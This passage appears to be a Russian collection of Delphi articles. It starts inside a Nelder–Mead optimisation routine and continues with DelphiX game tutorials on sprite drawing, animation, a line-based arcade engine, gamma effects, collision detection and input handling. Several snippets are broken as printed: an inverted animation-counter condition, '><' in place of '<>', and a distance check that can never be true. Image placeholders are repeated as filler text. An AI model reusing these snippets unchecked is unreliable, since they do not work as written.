    // Коррекция Indexes
    TempPtr := PChar(Indexes) + N * SizeOf(Integer);
    LastIndex := PInteger(TempPtr)^;
    Move(Indexes^, (PChar(Indexes) + SizeOf(Integer))^, N * SizeOf(Integer));
    Indexes^ := LastIndex;
    // Коррекция XN
    PChar(XN) := PChar(D0) + PInteger(TempPtr)^ * N * SizeOf(EXtended);
  end;
end;
// Рекурсивный бинарный поиск точки, где будет произведена вставка
// Интересно переделать в итерацию !!! (так оптимальней)
function RecurseFind(FX: PExtended; Value: Extended; L, R: Integer): Integer;
var
  M: Integer;
  Temp: Extended;
begin
  if R < L then
  begin
    Result := L; // Result := -1 если поиск точный
    Exit;
  end;
  M := (L + R) div 2;
  Temp := PExtended(PChar(FX) + M * SizeOf(Extended))^;
  if Temp = Value then
  begin
    Result := M;
    Exit;
  end;
  if Temp > Value then
    Result := RecurseFind(FX, Value, L, M - 1)
  else
    Result := RecurseFind(FX, Value, M + 1, R)
end;
procedure Reflection(var Temp: TNelderTempData; const Option: TNelderOption);
var
  InsertN: Integer;
  ShiftPosition: PChar;
  //IndexesPtr: PInteger;
  //FV: Extended;
  //I: Integer;
  TempIndex: Integer;
  TempPtr: PChar;
begin
  with Temp, Option do
  begin
    // Определения позиции вставки
    InsertN := RecurseFind(FX, FU, 0, N);
    // Сдвижка FX
    ShiftPosition := PChar(FX) + InsertN * SizeOf(Extended);
    Move(ShiftPosition^, (ShiftPosition + SizeOf(Extended))^,
      (N - InsertN) * SizeOf(Extended));
    PExtended(ShiftPosition)^ := FU;
    // Коррекция D0
    Move(U^, XN^, N * SizeOf(EXtended));
    // Коррекция Indexes
    TempPtr := PChar(Indexes) + N * SizeOf(Integer);
    TempIndex := PInteger(TempPtr)^;
    ShiftPosition := PChar(Indexes) + InsertN * SizeOf(Integer);
    Move(ShiftPosition^, (ShiftPosition + SizeOf(Integer))^,
      (N - InsertN) * SizeOf(Integer));
    PInteger(ShiftPosition)^ := TempIndex;
    // Коррекция XN
    PChar(XN) := PChar(D0) + N * PInteger(TempPtr)^ * SizeOf(EXtended);
  end;
end;
procedure Compression(var Temp: TNelderTempData; const Option: TNelderOption);
begin
  with Temp, Option do
  begin
    // Вычисление новой точки
    ReflectPoint(Temp, Option, U, Beta);
    FU := Func(U);
    Reflection(Temp, Option);
  end;
end;
procedure Reduction(var Temp: TNelderTempData; const Option: TNelderOption);
var
  ZeroPoint: PExtended;
  PtrD0, PtrFX: PExtended;
  PtrX0, PtrX: PExtended;
  FX0: EXtended;
  I, J: Integer;
begin
  with Temp, Option do
  begin
    PChar(ZeroPoint) := PChar(D0) + N * Indexes^ * SizeOf(Extended);
    PtrD0 := D0;
    PtrFX := FX;
    FX0 := FX^;
    for I := 0 to N do
    begin
      if PtrD0 = ZeroPoint then
      begin
        // Точка пропускается
        PtrFX^ := FX0;
      end
      else
      begin
        // Вычисляем точку:
        PtrX := PtrD0;
        PtrX0 := ZeroPoint;
        for J := 0 to N - 1 do
        begin
          PtrX^ := 0.5 * (PtrX^ + PtrX0^);
          PChar(PtrX) := PChar(PtrX) + SizeOf(Extended);
          PChar(PtrX0) := PChar(PtrX0) + SizeOf(Extended);
        end;
        // Вычисляем функцию
        PtrFX^ := Func(PtrD0);
      end;
      PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended);
      PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
    end;
  end;
  RefreshFX(Temp, Option);
end;
var
  It: Integer = 0;
function NeedStop(var Temp: TNelderTempData; const Option: TNelderOption):
  Boolean;
var
  PtrD0, PtrC, PtrFX: PExtended;
  Sum1, Sum2: Extended;
  I, J: Integer;
begin
  // Не все параметры используются...
  with Temp, Option do
  begin
    Sum1 := 0.0;
    if Delta > 0.0 then
    begin
      FC := Func(C);
      PtrFX := FX;
      for I := 0 to N do
      begin
        Sum1 := Sum1 + Sqr(PtrFX^ - FC);
        PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended)
      end;
      Sum1 := Delta * Sqrt(Sum1 / (N + 1));
    end;
    Sum2 := 0.0;
    if Delta < 1.0 then
    begin
      PtrD0 := D0;
      for I := 0 to N do
      begin
        PtrC := C;
        for J := 0 to N - 1 do
        begin
          Sum2 := Sum2 + Sqr(PtrD0^ - PtrC^);
          PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
          PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
        end;
      end;
      Sum2 := (1.0 - Delta) * Sqrt(Sum2 / (N + 1));
    end;
    Result := Sum1 + Sum2 < Eps;
  end;
end;
procedure Correct(var Temp: TNelderTempData; Option: TNelderOption);
var
  S: Extended;
  PtrC: PEXtended;
  I: Integer;
begin
  with Temp, Option do
  begin
    S := (D1 + (N - 1) * D2) / (N + 1);
    PtrC := C;
    for I := 0 to N - 1 do
    begin
      PtrC^ := PtrC^ - S;
      PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
    end;
    BuildSimplex(Temp, Option);
    MoveSimplex(Temp, Option, C);
  end;
end;
function Norm(X1, X2: PEXtended; N: Integer): Extended;
var
  I: Integer;
begin
  Result := 0.0;
  for I := 0 to N - 1 do
  begin
    Result := Result + Sqr(X1^ - X2^);
    PChar(X1) := PChar(X1) + SizeOf(Extended);
    PChar(X2) := PChar(X2) + SizeOf(Extended);
  end;
  Result := Sqrt(Result);
end;
function SolutionNelder(const Option: TNelderOption): Integer;
var
  Temp: TNelderTempData;
  IsFirst: Boolean;
begin
  It := 0;
  IsFirst := True;
  Result := InitializeTempData(Temp, Option.N);
  if Result <> FIND_MIN_OK then
    Exit;
  try
    // Шаг №1: построение симплекса
    BuildSimplex(Temp, Option);
    // Шаг №2: перенос симплекса в точку X0
    MoveSimplex(Temp, Option, Option.X0);
    repeat
      // Шаг №3: вычисление значений функции (+ сортировка)
      CalcFX(Temp, Option);
      RefreshFX(Temp, Option);
      repeat
        // Шаг №4: вычисление центра тяжести без точки Indexes[N]
        CalcC(Temp, Option);
        // Шаг №5: Вычисление точки U
        ReflectPoint(Temp, Option, Temp.U, Option.Alpha);
        // Шаг №6: Определение ситуации
        Temp.FU := Option.Func(Temp.U);
        case DetectSituation(Temp, Option)
          {Temp.FX, Temp.U, Option.Func, Option.N, Temp.FU)} of
          SITUATION_EXPANSION: // Растяжение
            Expansion(Temp, Option);
          SITUATION_REFLECTION:
            Reflection(Temp, Option); // Отражение
          SITUATION_COMPRESSION: // Сжатие
            Compression(Temp, Option);
          SITUATION_REDUCTION: // Редукция
            Reduction(Temp, Option);
        else
          Assert(False, 'Другое не предусматривается');
        end;
        // Шаг №7 критерий остановки
        if NeedStop(Temp, Option) then
          Break;
      until False;
      if not IsFirst then
      begin
        if Norm(Option.X, Temp.C, Option.N) < Option.Eps then
        begin
          Move(Temp.C^, Option.X^, Option.N * SizeOf(Extended));
          Break;
        end;
      end;
      IsFirst := False;
      Move(Temp.C^, Option.X^, Option.N * SizeOf(Extended));
      case Option.Mode of
        FIND_MIN_MODE_STD: Break;
        FIND_MIN_MODE_1: Correct(Temp, Option);
        FIND_MIN_MODE_2:
          begin
            BuildSimplex(Temp, Option);
            MoveSimplex(Temp, Option, Temp.C);
          end;
      end;
    until False;
    Result := FIND_MIN_OK;
  finally
    FinalizeTempData(Temp);
  end;
end;
function FindMin_Nelder(const Option: TNelderOption): Integer;
var
  UseOption: TNelderOption;
begin
  try
    Result := CheckNelderOptionPtr(@Option);
    if Result <> FIND_MIN_OK then
      Exit;
    Result := CopyData(Option, UseOption);
    if Result <> FIND_MIN_OK then
      Exit;
    Result := SolutionNelder(UseOption);
  finally
  end;
end;

Advanced Draw.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

Кручу-верчу, обмануть хочу, или как использовать продвинутые методы вывода спрайтов. В классе TSprite есть три метода: DoDraw, DoCollision и DoMove Чтобы заставить спрайт созданный таким образом:
TPlayer = class(TImageSprite)
end;
выводится через продвинутые методы (DrawRotate, DrawAplha, DrawSub, DrawWave, StretchDraw), нужно "заглушить" стандартный вывод при создании объекта. Вот так:
type
   THero = class(TImageSprite)
      Angle:integer;
   protected
      procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
      procedure DoMove(MoveCount: Integer); override;
      procedure DoDraw; override; // вот здесь
   end;
Теперь в процедуре DoDraw выводим спрайт нужным нам способом. Вот так:
procedure THero.DoDraw;
begin
   image.drawrotate(form1.DXDraw.Surface,round(x)+16,round(y)+16,image.width,image.height,round(animpos),0.5,0.5,Angle);
end;
Посмотрите этот dodraw.zip примерчик, для более ясного понимания. А теперь недокументированная фишка! Забываем то, что написано выше и читаем дальше. Создадим спрайт таким образом:
TPlayer = class(TImageSpriteEx)
protected
   procedure DoMove(MoveCount: Integer); override;
end;
И теперь в процедуре DoMove можно задать Angle (угол поворота спрайта) и Alpha (прозрачность спрайта). Примерно так:
type
   THero = class(TImageSpriteEx)
      Angle:integer;
   protected
      procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
      procedure DoMove(MoveCount: Integer); override;
   end;
procedure TPlayer.DoMove(MoveCount: Integer);
begin
   X:=100;
   Y:=100;
   Angle:=60;
   Alpha:=150;
end;
Дерзайте!

Анимация спрайтов.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

Все ниже написанное относится к Delphi 5, в более старых версиях возможны отличия, а может и нет, не знаю. Щас мы будем анимировать спрайт. Он будет состоять из 6 промежуточных фаз.
Статьи по Delphi (008)… Статьи по Delphi (008)… Статьи по Delphi (008)… Статьи по Delphi (008)… Статьи по Delphi (008)… Статьи по Delphi (008)…
Я его выдрал из Сеговской игрушки "Asterix & Obelix" (при помощи эмулятора), а Вы, если обладаете талантом, можете его нарисовать, ну или тоже выдрать :). Должно получиться что-то похожее на это: Статьи по Delphi (008)… Сначала сделаем без использования DXSpriteEngine: Создадим форму MainForm На форме создадим DXDraw, размером где-то 150x150, DXImageList и DXTimer Красиво? :), щас будет еще красивее. Теперь в Properties DХImаgеList'а делаем: DXDraw = DXDraw или как Вы там его обозвали. ВItеms добавляем поочередно наши спрайтики в TPictureCollection, для каждого спрайта указывается TransparentColor, в моем случае это $00FFC0C0 (вылез автоматически). Вооот, теперь значицца в DXTimer Properties ставим: ActiveOnly = True Enabled = True Interval = 150, чем больше, значение, тем больше задержка, между выводом картинок. В Еvеnts'ах DXTimer'a: OnTimer щелкаем пару раз, создается процедура DXTimerTimer, вставляем туда кусок:
const //Это перед Begin
  n:integer=0; //Это перед Begin
if not DXDraw.CanDraw then Exit; //Это понятно
DXDraw.Surface.Fill(15); //Делаем поверхность синей (15)
DXImageList.Items[n].Draw(DXDraw.Surface,50,50,0); 
//Здесь выводим спрайт № n на поверхность DXDraw в координаты 50х50 со значением Transparent=0
DXDraw.Flip; //Это переключит поверхности.
if n > 5 then inc(n) else n:=0; //Здесь переключим счетчик на следующую картинку

Теперь давим Run и ОПА! Исходник и спрайты можете взять Здесь sampl1.zip (12Kb). А теперь тоже самое, но будем использовать DXSpriteEngine: Все промежуточные фазы хранятся в одном файле: Статьи по Delphi (008)… Будем использовать первые 6 кадров. Так как все спрайты объединены в одной картинке, то необходимо сделать следующее: Статьи по Delphi (008)… То есть установить ширину и высоту кадра (при чем высота нужна только в случае 2-мерного массива кадров)
type
   TSprite = class(TImageSprite)
   end;
procedure TForm1.FormCreate(Sender: TObject);
Var
   Sprite:TImageSprite;
begin
   Sprite := TSprite.Create(DXSpriteEngine.Engine);
   with TSprite(Sprite) do
   begin
      Image := DXImageList.Items.Find('sprite');
      AnimStart:=0;
      AnimLooped:=true;
      AnimCount:=6;
      AnimSpeed:=100/1000;
      x:=100;
      y:=100;
      Z:=0;
   end;
end;
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
begin
   DXSpriteEngine.Move(1);
   DXDraw.Surface.Fill(15);
   DXSpriteEngine.Draw;
   DXDraw.Flip;
end;

Аркадный движок.

Оформил: XVeL Автор: JibSkeart WEB-сайт: http://daddy.mirgames.ru

Как реализован движок. Есть прямая (AB) у этой прямой имеем координаты X1,Y1,X2,Y2 Статьи по Delphi (008)… Дальше что нам нужно ? Ну исходя из того что у нас есть не только прямые но и Герой или другие создания Нам нужно знать стоит наше создание на прямой или нет ... А что такое наш герой да и другие объекты ??? Да ничего больше как обычная точка с двумя координатами Xobj,Yobj Так вот продолжаем, что бы проверить стоим мы на прямой или нет, мы смотрим (вычисляем) Растояние от точки (XObj,Yobj) до прямой (AB) (подобные формулы можно найти в любом справочнике по математике) Конечная формула у меня получилась такой
A:=-Y2+Y1; B:=X2-X1; C:=-X2*Y1+Y2*X1; D := Round((A*Xpos+B*Ypos+C)/(Sqrt(Sqr(A)+Sqr(B))));
Ну ладно мы нашли а дальше то что ?? Хмм ну дальше тут интереснее я додумался сделать так... Вот растояние от точки до прямой у меня равно 0 значит мы стоим , и нам теперь хочется побегать по просторам уровня (или пока прямой):) Представьте, что у нас прямая (AB) под углом 45 градусов. Левый край находится внизу правый вверху AB(100,200,200,100) мы стоим и находимся на середине прямой Если мы нажмем влево нам надо спустится по этой примой, вправо поднятся ... как это сделать ??? Да просто находим кофицинт приращения FDdx,FDdy относительно нашего шага _StepX - Const... Для этого нам нужно знать угол относительно горизонтали тоесть я "приделываю" к нашей прямой (по которой нам пока еще не удается побегать) горизонтальную прямую и нахожу угол между ними Статьи по Delphi (008)… Вот так получился конечный результат нахождения угла между прямыми со всякими проверками...
A2:=-yy2+yy1; B2:=xx2-xx1;
A1:=-y2+y1; B1:=x2-x1;
If (A1*B2-A2*B1><0) and (A1*A2+B1*B2><0) Then    _Alpha :=(A1*B2-A2*B1)/(A1*A2+B1*B2)
   else
   _Alpha:=0;
_AlphaRad := ArcTan(_Alpha);
_AlphaDeg := RadToDeg(ArcTan(_Alpha));
_Fddx:=Sin(_AlphaRad)*_StepX;
_Fddy:=Cos(_AlphaRad)*_StepY;
If _AlphaRad>0 Then _Fddx:=-_Fddx;
If _AlphaRad>0 Then _Fddy:=-_Fddy;
Ага все нашли и если мы теперь стоим на нашей прямой и мы знаем коэффецинты приращ. мы можем побегать это будет выглядеть так XObj := Xobj+Fddx; - вот здесь можно и не вычеслять FDdx потомучто он будет всегда равен ( изходя из ентой формулы _Fddx:=Sin(_AlphaRad)*_StepX; ) _StepX !!! YObj := Yobj+Fddy; Теперь если мы стоим то мы можем прыгнуть присеть итд ну это зависит только от вашей фантазии Да тут у меня еще есть корректировочка я еще нахожу точку пересечения двух прямых где одна прямая эта та по которой мы бегаем а вторая спускается из XObj ,YObj вертикально вниз это я делал для того чтобы если до линии +-StepY то я автоматом "падаю (прикрепляюсь) на эту линию " так как не всегда у вас будет роастояние от точки до прямой равнятся 0 так как мы будем падать с определенным шагом (скоростью) воот представте что мы падаем, шаг равен 8, а на данный момент растояние до прямой = 4 в следующем моменте растояние будет равняься -4 !!! и мне приходится в такой момент переносить координаты героя на коорд. точки пересеч да вообщем это даже незаметно ... воот видали так что енто погрешность моего движка :) Ну а если у нас прямых много ,то нам нужно знать от линии Номер , Угол ,Приращения итд... вообщем на какой прямой мы стоим и что нам от нее ожидать :) или какая из линий ближе к нам. я это делал в обычном массиве ( Да, в данном алгоритме я применял длинну линии 32 (можно и другую или просто все линии разные) здесь я хотел придумать более оптимальный вариант поиска линий. Представьте что у нас на уровне 10000 линий.... поняли ??? Долго воот ... И пока ентот массив из 10000 прокрутит , а также если у нас будут другие Твари бегать на уровне и так же будут искать ближайшие линии плюс искать путь.... уфф короче он требует оптимальности :)) в голове что то крутится по этому поводу, но пока ничего, если вдруг придумаете буду рад увидеть это хотя есть такой момент отсортировать все линии по порядку с левой верхней по праваю нижнюю там уже можно и вычеслить какие линию вокруг , рядом с Героем и цикл большой не понадобится... это так же как в массиве найти элементы точек вокруг точки...)
For i:=0 to _LinesCount-1 do
begin
   //Если линия не вертикальна и в пределах экрана то
   If not _ListLines[i].vert and _Visible(i) Then
   begin
      //вычисляем растояние от точки до этих прямых авось на кокую да встанем
      LLine(_X,_Y, {Координаты героя}
      _ListLines[i]._XY1.X, {Координаты прямой}
      _ListLines[i]._XY1.Y,
      _ListLines[i]._XY2.X,
      _ListLines[i]._XY2.Y,
      _LBDist); {Растояние}
      If (_LBDist>=8)and(_LBDist<-8) Then
      begin
         ...
         // если условие выполнилось то выдергиваем индекс линия 
				 // для дальнейших работ с ней а также сообщаяем что мы наконецто куда-то приземлились :)
      end;
   end;
end;
Так же я ищу стенки только уже в цикле смотрю только те вертикальные прямые которые видны (внутри идет проверка на вертикальные прямые ) и так же изучаю растояние до них если растояние поподает в -+8 смотря с какой стороны относительно героя находится то мы туда и не можем идти Ну вообшем все основные моменты я рассказал Вообшем я состряпал три основных класса с которыми все енто работает Все с него начинается класс "Линия" CLine=class Содержит в себе X1,Y1,X2,Y2 также как только мы присвоили координаты вычесляет угол смотрит вертикальная она или нет Это уже список линий CLines=class Содержит список линий (массив типа CLine) Знает количество линий :) Умеет сохранять карту(список линий) Также загружать карты Чистить Ну и он самый главный :) наследник всего хорошего от класса Списка линий (CLines) CEngine=class(CLines) Унаследовал все от класса CLines (если не знаете как это читаете литературу ...) но научился смотреть относительно координат героя ближнии прямые Управлять героем и другим ... Вообщем-то сам движок несложен, его даже можно упростить И как, сечас даже постораюсь обьяснить Ну первое, что я хотел бы переделать так это ... какие то не рациональные в моем движке моменты со стеной тоесть смотрим где стена итд, некрасиво как то. в принципе то работает, но хотелось бы упроситьть и сделать более универсальным и тут на днях я придумал как сие сделать, но возможно столкнусь с другими проблемами Так вот, начинаем излогать свои мысли Во первых у нас есть прямая по которой мы двигаемся Ладно мы нашли угол относительно горизонтали итд мы двигаемся , но стена, как по другому на это посмотреть чисто физиологически ??? Ага вот тут и наступает момент когда нужна физика ! Представь что ты идешь по прямой она поднимается и тебе все сложнее и сложнее на нее идти а потом бац и уклон еще круче и ты просто не можешь на нее забратся Хех так вот можно сделать так Есть тело которое находится в состоянии равновесии и стоит на плоскости (в нашем случае прямой) под углом к горизонтали (Alpha = 45) ну возьмем этот угол :) для примера тоесть тело не скатывается мы прилогаем к нему силу либо веррх либо, вниз и тело скользит ! Естественно что, если угол больше 45(в нашем случае) и мы не прилогаем силы , то тело начнет скользить вниз, а если мы попытаемся "залезть" на макс угол то мы будем как бы ,мгновенно скатыватся. Тогда нам нужно знать : 1. Угол относительно горизонтали 2. Массу тела (у нас будет точка) - постояное мне кажется енто сдеся и не столь важно можно залепить любое число 3. Коэффециент трения (или силу трения ) при том максимальном угле при котором тело наход-ся в состоянии равновесия - тоже константа (отсюда пока следует что скорость = 0) Максимальный угол предстовляет из себя тот угол на который наш герой еще может залесть если угол больше то он либо скатывается либо лезет медленно Видели наверное в 3D играх когда на крутой склон пытаешся залесть начинаешь скатыватся чем круче склон тем быстрее. Сие я увидел в Serius Sam 2 там что то пожожее 4. Силу с котрой мы толкаем тело ... - постоянное Силу можно вычеслить так, пусть тело движется со скоростью (с шагом) 6 пикселей в сек :) по горизонтальной поверхности нам надо найти силу которую в данный момент прикладывают к телу 5. исходя из силы будем находить шаг (или скорость) движения тела (Силу мы нашли она у нас всегда одинакова ) тоесть тут сразу видно что если с той силой, с которой ,мы толкаем тело по гориз. поверхности мы будем толкать вверх по наклонной поверхности шаг будет разным или даже если мы толкаем на крутую гору отрицательным то есть, будет тутже скатыватся или если мы будем толкать с горки будем быстрее бежать вот и все впринципе думаю что он более удачный чем тот что у мя раньше И другой момент А Ведь можно сделать его а-ля 3d это когда мы бегаем также по одной плоскостит но все элементы по настоящемму трех мерные, помните Тарзан гаму ??? Да и нетолько, если мы возьмем вместо линии плоскость ?? Тут можно взять пример: arcengine.zip Будут вопросы пишите , ответим JibSkeart(Salimgareev Marat) JibSkeart@yandex.ru

Изменение гаммы спрайта.

Оформил: XVeL Автор: Spose&Daddy WEB-сайт: http://daddy.mirgames.ru

Для чего это нужно. Эту технологию можно использовать для выделения "юнита", или для выделения пункта меню. Одним словом для обозначения чего-либо. Ну что не поняли? Показываю:
Статьи по Delphi (008)…
стандартный спрайт : спрайт с измененной гаммой
Как это делатся. Динамически создается новый спрайт с подложкой нужного цвета (фон) и на него накладывается с использованием Альфа смешения наш спрайт. Чем больше величина Альфа, тем больше будет "проявляться" фон, соответственно, если "фон" белый - спрайт будет осветляться. Что касается TransparentColor - если фоновый цвет спрайта будет отличаться от "подложки" создаваемого спрайта, то придется подумать как определить новый TransparentColor. Можно конечно заранее его просчитать и использовать, а можно просчитать динамически, взяв, например, цвет фоновой точки (посмотрите координаты какой нибудь из них в редакторе) в полученном спрайте. Посмотрим на примере. Эта процедурка реализует алгоритм описанный выше.
procedure Tform1.createmmap(Color:Tcolor;alpha:byte);
var
   NG : TDIB;
   Item: TPictureCollectionItem;
   tm:Tdirectdrawsurface;
   i:integer;
   est:boolean; //Присутствует ли уже измененная картика в списке
   TC:TColor; //TransparentColor
begin
   ng:=tdib.Create; //Создаем картинку (пустую)
   tm:=Tdirectdrawsurface.Create(DXDraw.Surface.DDraw); //Создаем поверхность
   tm.SystemMemory:=false;
   tm.SetSize(il.Items[0].Width,il.Items[0].height); //Устанавливаем размер поверхности по размеру исходной картинки
   tm.Fill(color); //Заполняем фон нужным цветом
   il.Items[0].DrawAlpha(tm,bounds(0,0,il.Items[0].width,il.Items[0].height),0,alpha); //Рисуем исходную картинку на фон с прозрачностью
   tm.AssignTo(ng); //Сохраняем изображение в картинку (создана первой строкой)
   tm.Free; //Очищаем память от поверхности
   TC:=ng.Canvas.Pixels[0,0]; //Возьмем цвет точки 0,0 в качестве TransparentColor для нового спрайта
   est:=false; //Ставим на нет, то что картинка уже есть в списке
   for i:=0 to il.Items.Count-1 do //Если же она есть
   if il.Items[i].Name='MMG' then est:=true; //ТО Ставим на Да
   if est then //Если ДА то
   begin //Изменяем уже существующую картинку
      item:=il.Items.Find('MMG');
      item.Picture.Graphic := ng;
      item.TransparentColor:=TC;
      item.Transparent:=true;
      item.Restore;
   end
   else
   begin //Если же Нет, то заносим в список новую!
      Item := TPictureCollectionItem.Create(IL.Items);
      Item.Name:='MMG';
      Item.SystemMemory:=false;
      Item.Picture.Graphic := ng;
      Item.TransparentColor:=TC;
      Item.Transparent:=true;
      Item.Restore;
   end;
end;
Вот и все. Возмите этот готовый примерчик.

Collision.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

Итак, у нас есть спрайты. Они рисуются, двигаются, но не взаимодействуют друг с другом. И вот для того, что бы мячики отскакивали, пули попадали во врага, а герои не проваливались сквозь пол, в DelphiX есть замечательная вещь как проверка на столкновение, которая в большинстве случаев поможет избежать написание собственного движка. Есть два метода определение столкновений. 1. Проверка столкновения рамок: Простой тип, слежение идет за взаимным положением рамок спрайтов. При обнаружении пересечения координат, ябъявляется событие "столкновение" 2. Проверка столкновения точек: Сложный тип. Слежение ведется не только за взаимным положением рамок спрайтов, но и за взаимным положением самих изображений. Событие "столкновение" объявляется при обнаружении пересечения точек изображений.
Статьи по Delphi (008)… Рамка Рамка определят размер спрайта, что дает взаимодействовать спрайтам друг с другом. Так же рамка нужна для определения момента обрезания спрайта, при выходе за экран. Одним словом вещь крайне важная. Если не указать ширину и высоту рамки, DelphiX будет выводить спрайт, но не сможет определять столкновения
Проверка на столкновение рамок 1 Статьи по Delphi (008)… столкновение есть Столкновение рамок Как вы видите столкновение произошло. Но сами спрайты не коснулись друг-друга.Это не очень красиво, но зато очень быстро.
Столкновения нет. Статьи по Delphi (008)… Столкновение есть. Проверка на столкновение рамок 2 Есть ещё один способ проверки столкновения без PixelCheck.
                        const Border = ...;
                        with TAnyObject.Create(MyForm.DXSpriteEngine.Engine) do
                        begin
                        Image:=...;
                        Width:=Image.PatternWidth - 2*Border;
                        Height:=Image.PatternHeight - 2*Border;
                        ...
                        end;
                        
В этом случае картинка будет выводиться полностью, но квадрат столкновений уменьшится. Необходимо изменить также и DoMove, ведь X = OldX + Border и Y = OldY + Border. Именно этот способ как правило используется в аркадах.
Проверка на столкновение точек Статьи по Delphi (008)… столкновения нет Проверка на столкновение точек Более точный и красивый. Проверка на столкновение самих изображений. Больше подходит для сложных спрайтов. Требует большей загрузки процессора..
Проверка на столкновение точек Статьи по Delphi (008)… столкновение есть Более точное определение столкновения Два пиксела проверяют спрайты на столкновение. Как видно рамки давно столкнулись, но событие поизошло только когда столкнулись непрозрачные части.
Проверка на столкновение рамки и точки Статьи по Delphi (008)… столкновения нет Смешивание типов обнаружения столкновения Спрайты, использующие разные методы определения столкновения то-же будут сталкиваться друг с другом. Один спрайт использует определение по рамке, другой по точке. Иногда смешиванием можно добиться неплохих, реалистичных результатов..
Проверка на столкновение рамки и точки Статьи по Delphi (008)… столкновение есть Альтернатива -(не лучшее решение, но альтернативное...) Как вы видите это не слишком великолепно. Игрок может видет, что спрайты не столкнулись на самом деле, а игра будет определять, что стокновение произошло после попадания рамки одного спрайта на непрозрачную точку другого.
Выбор метода зависит от игры. Если это активная Аркада, то Проверка на столкновение точек в ней ни к чему. Глаз не будет успевать замечать, что столкновения произошло на пяток пикселей раньше, чем положено. А если это размеренная, несуетливая РПГ, то без этого метода не обойтись. Настройка обнаружения столкновений Основные шаги, необходимые для этого. · Создаем класс спрайта в обычном порядке · Включаем DoMove процедуру · Включаем (override)DoCollision процедуру · Устанавливаем высоту и ширину спрайта. · В процедуре DoMove вызываем метод Collision. · В методе DoCollision, помещаем код, для обработки последствий столкновения. · Выбираем метод обнаружения столкновений.

DXInput.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

В этой статье мы рассмотрим методы управления объектами в играх с помощью клавиатуры, мыши и джойстика.. 1. Клавиатура. Опрос нажатия клавиши ведется через DXInput.States:
if <тикер> in DXInput.States then
begin
   //действие
end

,где <тикер> есть зарезервированное слово: isUp - по умолчанию "стрелка вверх" isDown - по умолчанию "стрелка вниз" isRight - по умолчанию "стрелка вправо" isLeft - по умолчанию "стрелка влево" IsButton1 - по умолчанию "Space" IsButton2 - по умолчанию "Enter" IsButton3-IsButton32 - по умолчанию не определены Для сравнения два равноценных условия:
//c использования DXInput
if isUp in DXInput.States then
begin
//действие
end  //а это - без
if Key=VK_UP then
begin
//действие
end

Чтобы определить "тикер": DXInput.Keyboard.KeyAssigns[<тикер>,X]:= <кнопка> ,где: X - значение от 0 до 2 (то есть на каждый "тикер" можно присвоить до трех <кнопок>) <кнопка> - код кнопки (например ord('Q')). Примечание: буквенные клавиши указываются в верхнем регистре, т.е.
DXInput.Keyboard.KeyAssigns[isButton10,X]:=ord('q')
не будет реагировать на нажатие клавиши 'q' . Кнопки Ctrl, Alt, Shift можно опросить обычным способом:
If (ssCtrl in Shift) then ...
If (ssAlt in Shift) then ...
If (ssShift in Shift) then ...
Небольшой примерчик. Зарекрепим за тикером isUp - кнопки "E","I" и "стрелка вверх":
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
begin
   if not DXDraw.CanDraw then exit;
   //обновим состояние DXInput (нужно делать при каждом тике таймера)
   DXInput.Update;
   DXDraw.Surface.Fill(0);
   If isUP in DXInput.States then
      With DXDraw.Surface.Canvas do
      begin
         Brush.Style := bsClear;
         Font.Color := clWhite;
         Font.Size := 12;
         TextOut(50,50,'UP pressed');
         Release;
      end;
   DXDraw.Flip;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
   DXInput.Keyboard.KeyAssigns[isUp,0]:=ord('E');
   //за [isUp,1] - по умолчанию зарезервирована "стрелка вверх", оставим ее.
   DXInput.Keyboard.KeyAssigns[isUp,2]:=ord('I');
end;
2. Мышь DXinput.Mouse.X - положение курсора по горизонтали DXinput.Mouse.Y - положение курсора по вертикали DXinput.Mouse.Z - положение курсора по третьей оси Небольшой примерчик:
var
   Form1: TForm1;
   MouseX,MouseY:integer;
   LeftB,RightB:boolean;
implementation
{$R *.DFM}
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
var Shift: TShiftState;
begin
   if not DXDraw.CanDraw then exit;
   DXInput.Update;
   DXDraw.Surface.Fill(0);
   With DXDraw.Surface.Canvas do
   begin
      Brush.Style := bsClear;
      Font.Color := clWhite;
      Font.Size := 12;
      If LeftB then
         TextOut(0,0,'Left');
      If RightB then
         TextOut(50,0,'Right');
      TextOut(0,50,IntToStr(MouseX)+','+IntToStr(MouseY));
      Release;
   end;
   DXDraw.Flip;
end;
procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
   MouseX:=X;
   MouseY:=Y;
end;
procedure TForm1.DXDrawMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
   If ssLeft in Shift then LeftB:=true;
   If ssRight in Shift then RightB:=true;
end;
procedure TForm1.DXDrawMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
   LeftB:=false; RightB:=false;
end;
3. Джойстик Настроим джойстик: DXinput.Joystick.RangeX = 0 - 1000, устанавливает диапазон изменения значений по горизонтальной оси от X до -X DXinput.Joystick.RangeY = 0 - 1000, устанавливает диапазон изменения значений по вертикальной оси от Y до -Y DXinput.Joystick.RangeZ = 0 - 1000, устанавливает диапазон изменения значений по третьей оси от Z до -Z DXinput.Joystick.DeadzoneX = 0 - 100, устанавливает чувствительность по горизонтальной оси DXinput.Joystick.DeadzoneY = 0 - 100, устанавливает чувствительность по вертикальной оси DXinput.Joystick.DeadzoneZ = 0 - 100, устанавливает чувствительность по третьей оси 0 - самое чувствительное значение. Читаем положение рукоятки: DXinput.Joystick.X - по горизонтальной оси DXinput.Joystick.Y - по вертикальной оси DXinput.Joystick.Z - по третьей оси Z - используется в случае наличия на джойстике соответствующей ручки. Этот кусок кода сканирует кнопки на джойстике:
